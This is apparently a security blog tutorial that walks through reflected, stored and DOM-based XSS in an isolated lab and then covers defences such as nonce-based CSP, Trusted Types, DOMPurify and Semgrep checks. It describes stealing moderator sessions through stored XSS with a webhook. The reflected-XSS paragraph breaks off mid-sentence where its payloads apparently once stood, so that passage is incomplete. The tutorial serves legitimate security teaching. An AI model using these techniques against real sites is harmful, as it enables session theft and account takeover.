Modern XSS: DOM, Stored and Reflected With Real Examples in a Test Lab

HackerOne's 2025 report ranked XSS as the second most reported bug across public bounties, with a median payout of USD 750 and outliers near USD 20k on enterprise targets. The bug class refuses to die because browsers keep evolving while frontend pipelines still glue strings into innerHTML without ceremony. The Basilisk team spins up a lab with three intentionally vulnerable apps, captures every request through Burp Suite Community 2026.4, and walks each vector with payload, context, and patch. Before you copy any payload, confirm your lab is isolated as described in Web Pentesting From Scratch: Building a Safe Lab with DVWA, Juice Shop and Burp Suite, because firing scripts at third parties without written scope is still a crime under the US CFAA and the UK Computer Misuse Act.

Reflected XSS shows up when user input lands back in the HTTP response without proper encoding, usually through a querystring or GET form. In our lab a search at /search?q= drops the term inside an

, so the classic

Stored XSS is the nastiest variant because it sits in the database and hits every future visitor. We dial DVWA to medium, paste into the comments field, and watch the webhook collect moderator sessions within seconds. Real-world surface includes Markdown renderers, transactional email templates, CSV exports opened inside Excel, and even EXIF metadata parsed by an internal dashboard, which we explore in Metadata Hygiene: Stripping EXIF, PDF and Office Before You Publish. Robust defense layers input sanitization with output escaping; one without the other is theater.

DOM-based XSS happens entirely in the browser, so the payload never touches the server logs. The classic location.hash piped into document.write still ships in legacy chat widgets and in React apps that hand hash data to dangerouslySetInnerHTML. We adapt the Google XSS Game level 1 inside the lab and demonstrate sink hunting by opening DevTools, toggling 'Pause on exceptions', and unleashing Burp's DOM Invader extension. The triage flow mirrors the methodology from SQL Injection in Practice: Exploiting, Detecting and Mitigating in a Controlled Lab: pinpoint the source, trace it to the sink, validate with a minimal payload, then escalate.

Modern mitigation stopped being about filtering angle brackets years ago. Content Security Policy level 3 with a per-request nonce kills inline injection even when an attacker squeezes HTML onto the page, provided you do not cave and add 'unsafe-inline' as a fallback. Trusted Types, shipping in Chromium since 83 and finally in Firefox 135, turns innerHTML assignments into a type error unless they flow through a registered policy. Pair it with DOMPurify 3.2 for rich HTML and Google's measurements show roughly 90% surface reduction. Wire this into CI as covered in AppSec Shift-Left: SAST, SCA and Secrets Scanning Without Slowing the Team by running Semgrep with javascript.lang.security.audit.xss on every PR.

Practical takeaway: stand up the lab today with DVWA, Juice Shop, and a stripped Next.js app, reproduce all three vectors until you score a popup on each, then bolt on nonce-based CSP, Trusted Types, and DOMPurify and replay the exact payloads. Anything that still fires deserves a policy tweak until it breaks. Track each iteration in a personal runbook because the best XSS reports on HackerOne, Bugcrowd, or Shopify's program require one-sentence reproduction, demonstrated impact, and a suggested patch. Read STRIDE Threat Modeling in Sprints: A Full Microservice Walkthrough to map every injection into the Tampering and Elevation buckets before you file the ticket, that shift alone moves triage to P1 noticeably faster.